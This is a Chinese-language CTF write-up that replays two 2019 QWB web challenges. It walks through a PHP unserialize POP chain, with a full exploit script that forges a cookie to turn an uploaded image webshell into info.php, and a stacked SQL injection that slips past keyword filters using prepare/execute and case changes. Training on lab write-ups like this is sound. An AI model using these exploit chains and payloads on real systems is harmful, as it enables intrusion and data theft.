2019年强网杯部分web复现

前言

2019年强网杯复现,这一次有很多感触,虽然只是复现,但也学到了很多,超有意思

参考文章:
2019强网杯Web部分题解
张师傅的博客

0x01 upload_img

分析攻击过程

这道题在登录后,我们通过burp抓包会发现,我们的cookie很可疑,然后解码后发现这里的cookie里面的字段有我们上传的图片

1
user=YTo1OntzOjI6IklEIjtpOjk7czo4OiJ1c2VybmFtZSI7czoxMDoiMTExQHFxLmNvbSI7czo1OiJlbWFpbCI7czoxMDoiMTExQHFxLmNvbSI7czo4OiJwYXNzd29yZCI7czozMjoiNjNhOWYwZWE3YmI5ODA1MDc5NmI2NDllODU0ODE4NDUiO3M6MzoiaW1nIjtzOjc5OiIuLi91cGxvYWQvM2IxNDEyNzUzZjQ3NWNjOTY5YzM3MjMxZGQ2ZWFlYTIvYTVkNWU5OTVmMWE4ODgyY2I0NTllYmEyMTAyODA1Y2QucG5nIjt9

解码后:

1
user=a:5:{s:2:"ID";i:9;s:8:"username";s:10:"111@qq.com";s:5:"email";s:10:"111@qq.com";s:8:"password";s:32:"63a9f0ea7bb98050796b649e85481845";s:3:"img";s:79:"../upload/3b1412753f475cc969c37231dd6eaea2/a5d5e995f1a8882cb459eba2102805cd.png";}

这道题实际上是一个代码审计题,我们使用dirsearch可以扫到网站源码审计源码

文件../application/web/controller/index.php
代码37行:

1
2
3
4
5
6
7
8
9
10
11
12
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}

发现这段代码中的我们的请求中的cookie在这儿被解码,并且被反序列化。所以我们可以序列化任意类

文件../application/web/controller/Profile.php
代码27行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

这段代码中的关键代码:

1
2
3
4
5
6
7
8
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}


@copy($this->filename_tmp, $this->filename);

这里的this->filename,this->filename_tmp是可以通过反序列化控制的,此外copy()函数会将filename_tmp的内容复制到filename
那么我们就可先上传一个木马图,然后通过反序列化将filename修改为我们需要的文件名,filename_tmp为我们的木马图文件位置,由此绕过bypass,所以这里我们的目的就是调用Profile类中的upload_img()方法

文件../application/web/controller/Profile.php
代码67行:

1
2
3
4
public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
}

这段代码起到更新cookie的作用

然后看向
文件../application/web/controller/Register.php
代码10行:

1
2
3
4
public function __construct()
{
$this->checker=new Index();//覆盖该类为profile类
}

代码58行:

1
2
3
4
5
6
public function __destruct()
{
if(!$this->registed){
$this->checker->index();//此时,此类为profile类,调用index()的时候,将会触发_call() 进而触发_get()方法
}
}

这里$this->checker为Index类,其中$this->registed、$this->checker 在反序列化时也是可控的,然后调用Index类中的index方法

回头看
文件../application/web/controller/Profile.php
代码82行:

1
2
3
4
5
6
7
8
9
10
11
public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

这里的get(),以及call()分别为魔术方法

call():当调用一个不存在或者权限不够的方法的时候,会自动调用call()方法
get():当访问一个不存在或者权限不够的属性的时候,会自动调用get()方法

其中$name:被调用的方法名

其中$arguments:被调用的方法的参数列表数组

所以我们可以覆盖$this->checker为Profile类,然后访问index()方法,这时候将会触发call(),然后$this->{$name}=index,这是一个不存在的属性,触发get()方法,从而return $this->except[$name],这里的this->except是可控的属性,通过该属性访问upload_img()方法。从而完成攻击。

POP链如下:

具体操作

上传一个一句话木马图,我的一句话木马图里的内容为’phpinfo()
被保存在../upload/3b1412753f475cc969c37231dd6eaea2/a5d5e995f1a8882cb459eba2102805cd.png

编写EXP生成cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
namespace app\web\controller;
use think\Controller;

class Register
{
public $checker;
public $registed = false;
public function __construct($checker)
{
$this->checker= $checker;
}
}

class Profile
{ # 先上传一个图片马shell.png,保存路径为/upload/md5($_SERVER['REMOTE_ADDR'])/md5($_FILES['upload_file']['name']).".png"
public $filename_tmp = '../upload/3b1412753f475cc969c37231dd6eaea2/a5d5e995f1a8882cb459eba2102805cd.png';
public $filename = '../upload/3b1412753f475cc969c37231dd6eaea2/info.php';
public $ext = true;
public $except = array('index' => 'upload_img');
}
$register = new Register(new Profile());
echo urlencode(base64_encode(serialize($register)));
?>

上传这段cookie,然后刷新一下,跳出错误,继续上传这段cookie,然后再刷新,然后访问info.php

小结

(1)反序列化的知识还需加强
(2)在审计代码时,要注意哪些属性是可控的,在编写exp时候,需要注意哪些属性我们需要加入,比如public $registed = false;以及public $ext = true;

随便注

万能密码先试一下:

1
1'or '1'= '1

尝试注入,

1
1' union select database()#

回显:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

堆叠注入为注入方式:

1
1';show tables;#

回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

考虑到过滤掉很多关键字,所以这里考虑使用sql预编译功能

MySQL官方将prepare、execute、deallocate统称为PREPARE STATEMENT
示例代码:

1
2
3
4
5
6
PREPARE stmt_name FROM preparable_stmt

EXECUTE stmt_name
[USING @var_name [, @var_name] ...] -

{DEALLOCATE | DROP} PREPARE stmt_name

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> PREPARE pr1 FROM 'SELECT ?+?';
Query OK, 0 rows affected (0.01 sec)
Statement prepared

mysql> SET @a=1, @b=10 ;
Query OK, 0 rows affected (0.00 sec)

mysql> EXECUTE pr1 USING @a, @b;
+------+
| ?+? |
+------+
| 11 |
+------+
1 row in set (0.00 sec)

mysql> DEALLOCATE PREPARE pr1;
Query OK, 0 rows affected (0.00 sec)

每一次执行完EXECUTE时,养成好习惯,须执行DEALLOCATE PREPARE … 语句,这样可以释放执行中使用的所有数据库资源(如游标)

所以这里我们的payload可以这样考虑

1
2
3
4
5
6
1';
sEt @sql = concat('sel','ect database()');
prepare pr from @sql;
execute pr;
deallocate prEpaRe pr;
#

回显:strstr($inject, "set") && strstr($inject, "prepare")

使用大小写绕过,成功
然后获取flag的payload为:

1
2
3
4
5
6
1';
sEt @sql = concat("sel","ect * from `1919810931114514`");
prepare pr from @sql;
execute pr;
deallocate prEpaRe pr;
#

这里有一个需要注意的小问题就是,在“select * from 数据表名”,数据表名要用反引号。

0%